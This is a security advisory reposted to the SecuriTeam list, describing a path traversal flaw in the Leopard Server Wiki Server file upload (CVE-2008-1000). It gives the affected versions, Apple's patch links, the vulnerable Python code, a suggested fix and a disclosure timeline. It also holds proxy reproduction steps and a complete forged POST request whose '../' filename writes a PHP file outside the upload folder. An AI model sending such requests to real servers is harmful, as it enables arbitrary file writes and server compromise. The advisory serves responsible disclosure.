The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Leopard Wiki Server Server Path Traversal
------------------------------------------------------------------------
SUMMARY
MacOS X Server 10.5 [1], also known as Leopard Server features a Wiki
Server [2], which is a multiuser web application written in Python. The
Leopard bundled Wiki Server is vulnerable to a path traversal attack,
which can be exploited by non-privileged system users via a forged file
upload to write arbitrary files on locations in the server filesystem,
restricted only by privileges of the Wiki Server application.
DETAILS
Vulnerable Systems:
* Mac OS X Server version 10.5.2 (Leopard Server)
* Mac OS X version 10.5 (Leopard)
Vendor Information, Solutions and Workarounds:
Apple security updates are available via the Software Update mechanism:
<http://docs.info.apple.com/article.html?artnum=106704>
http://docs.info.apple.com/article.html?artnum=106704
Apple security updates are also available for manual download via:
<http://www.apple.com/support/downloads/>
http://www.apple.com/support/downloads/
Cross-reference to Apple security updates:
<http://docs.info.apple.com/article.html?artnum=61798>
http://docs.info.apple.com/article.html?artnum=61798
Technical Description / Proof of Concept Code:
A path or directory traversal attack technique forces access to files,
directories, and commands that potentially reside outside the web document
root directory. An attacker may manipulate the http requests in such a way
that the web site will write, execute or reveal the contents of arbitrary
files outside the intended path of the web documents. Any device that
exposes an HTTP-based interface is potentially vulnerable to path
traversal.
In the MacOS X Server the python web server called "Wiki Server" is
enabled by default and every system user has a weblog available to post
articles and files. Attached files are written for example in path
'/Library/Collaboration/Users/guest/weblog/3f081.page/attachments/731b1/'
for user 'guest' where '3f081' are hash/random hexa characters assigned to
the blog post title and '731b1' are hash/random hexa characters assigned
to the file uploaded.
Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki
Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where '[xxxxx]'
are random hexa characters assigned to the file, as we have said. You can
write on all the folders where user '_teamsserver', the user running the
Wiki Server, has permissions.
For example, to reproduce the attack using Paros proxy [3], follow these
steps:
- Check the web server is up.
- Check you have a system user/password in the system, for example guest,
and the log in.
- Start editing a new post in your blog.
- Start Paros proxy, go to Trap tab and enable Trap requests checkbox.
- Start uploading your preferred file, for example popote.php.
- In Paros, press Continue until you find the POST request.
- Append '../../../../../../..' at the beginning of 'popote.php' plus your
wished path, for example '/tmp/'.
- Press Continue a couple of times to send the request.
- If user '_teamsserver' has permissions on the wished folder, you will
write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are
hash/random hexa characters that depend on the file.
There are several strategies that can be used in combination with a path
traversal to gain complete control of the victim's server, although we
will not discuss them here
An example forged request follows:
/-----------
POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0
User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13
Host: 192.168.xxx.xxx
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language:
en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: identity, *;q=0
Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/
Cookie: cookies=1; acl_cache=3; recentTags=add tags here;
SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6;
sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3;
uploadID=57904
Cookie2: $Version=1
Proxy-Connection: close
Content-length: 426
Content-Type: multipart/form-data;
boundary=----------YN7xkbcuNgNx21psG30p21
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="Attachment";
filename="../../../../../../../tmp/popote.php"
Content-Type: application/octet-stream
<? phphinfo(); ?>
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="ok_button"
Attach
------------YN7xkbcuNgNx21psG30p21
Content-Disposition: form-data; name="upload_id"
57904
------------YN7xkbcuNgNx21psG30p21-------------/
The vulnerable code is located at
'/usr/share/wikid/lib/python/apple_wlt/ContentServer.py':
/-----------
def uploadFileCallback(self, result):
filename, filetype, aFile = result[1][self.type][0]
filename = filename.decode('utf-8')
filename = filename.split('\\')[-1] # IE sends the whole path,
including your local username.
extension = filename.split('.')[-1]
oldFilename = filename
uploadType = os.path.split(self.fullpath)[-1]
if uploadType == "images":
filename = SettingsManager.findGoodName() + '.' +
extension
logging.debug("beginning file upload: %s" % filename)
isImage = filenameIsImage(filename)
newPath =
ImageUtilities.findUniqueFileName(os.path.join(self.fullpath, filename),
isImage = (not uploadType == 'attachments'))
newFilename = os.path.basename(newPath)
if uploadType == "attachments":
newParentFolder = os.path.dirname(newPath)
os.mkdir(newParentFolder)
newFilename =
os.path.join(os.path.basename(newParentFolder), filename)
[...]
-----------/
The hash/random hexa characters used for the attachment subfolder are
generated by code at
'/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py':
/-----------
def findUniqueFileName(inPath, isImage = True):
"""Uniqueifies a file name, to avoid duplicates in images and
attachments"""
filename = os.path.basename(inPath)
base, extension = os.path.splitext(filename)
parent = os.path.dirname(inPath)
aPath = ''
mungedName = SettingsManager.findGoodName()
if not isImage:
#attachment, so make the minged name a subdirectory and
put the file in that
aPath = os.path.join(parent, mungedName, filename)
while os.path.exists(aPath):
mungedName =
SettingsManager.findGoodName(mungedName)
aPath = os.path.join(parent, mungedName, filename)
else:
aPath = os.path.join(parent, mungedName + extension)
while os.path.exists(aPath):
mungedName =
SettingsManager.findGoodName(mungedName)
aPath = os.path.join(parent, mungedName +
extension)
return aPath
-----------/
One possibility for fixing this issue is to use the function 'safePath'
from '/usr/share/wikid/lib/python/apple_utilities/PathHelper.py' to check
if the filename is sane:
/-----------
def safePath(inPath):
"""Returns whether the path is safe or not as defined by the
absence of arbitrary path traversal elements"""
pieces = inPath.split('/')
if '..' in pieces:
return False
return True
-----------/
Report Timeline:
2008-01-30: Vendor is notified that vulnerabilities were discovered and
that an advisory draft is available.
2008-01-31: Vendor acknowledges the notification and requests the draft.
2008-01-31: Core sends the draft, including the PoC http request.
2008-02-12: Core requests update information on the vulnerability and
offers to coordinate the date of the disclosure.
2008-02-18: Core requests again information on the vulnerability.
2008-02-18: Vendor replies that the vulnerability will be fixed after the
update to be released in March, and asks Core to keep the issues private
until the disclosure.
2008-02-19: Core writes back to the Vendor confirming that the release
will be coordinated unless there are clear indications of the
vulnerability being exploited in the wild, in that case the advisory will
be published as "forced release".
2008-03-03: Core requests update info on the vulnerability, a concrete
schedule and text for the advisory section called "Vendor Information,
Solutions and Workarounds".
2008-03-04: Vendor sends information to be included in advisory
CORE-2008-0123 including the Vendor's updates channels, draft of Vendor's
own advisory and confirmation that the path traversal affects Wiki Server
as opposed to Calendar Server as said earlier by Core. The vendor believes
the security update will be made publicly available on March 17th.
2008-03-05: Core confirms that information sent by the vendor will be keep
confidential until the release of the fixed version.
2008-03-13: Core requests the vendor an update on the coordinated date of
disclosure.
2008-03-13: Vendor confirms that the exact date of fix release is March
18th.
2008-03-14: Core acknowledges the mail with the coordinated date.
2008-03-18: Advisory CORE-2008-0123 is published.
References:
[1] http://www.apple.com/server/macosx/
[2] http://www.apple.com/server/macosx/features/wikis.html
[3] <http://www.parosproxy.org> Paros proxy
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1000>
CVE-2008-1000
ADDITIONAL INFORMATION
The information has been provided by <mailto:advisories@coresecurity.com>
Core Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/?action=item&id=2189>
http://www.coresecurity.com/?action=item&id=2189
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
